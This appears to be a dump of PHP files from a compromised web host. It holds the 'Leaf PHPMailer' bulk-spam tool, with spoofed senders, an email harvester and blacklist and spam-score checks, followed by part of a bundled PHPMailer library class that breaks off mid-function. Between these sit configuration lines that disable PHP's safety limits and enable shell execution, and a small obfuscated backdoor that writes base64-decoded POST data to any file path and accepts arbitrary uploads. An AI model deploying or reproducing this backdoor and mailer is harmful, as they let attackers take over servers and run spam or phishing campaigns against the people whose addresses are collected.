            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'bas'.'e64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "u1UJDMzShyC";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
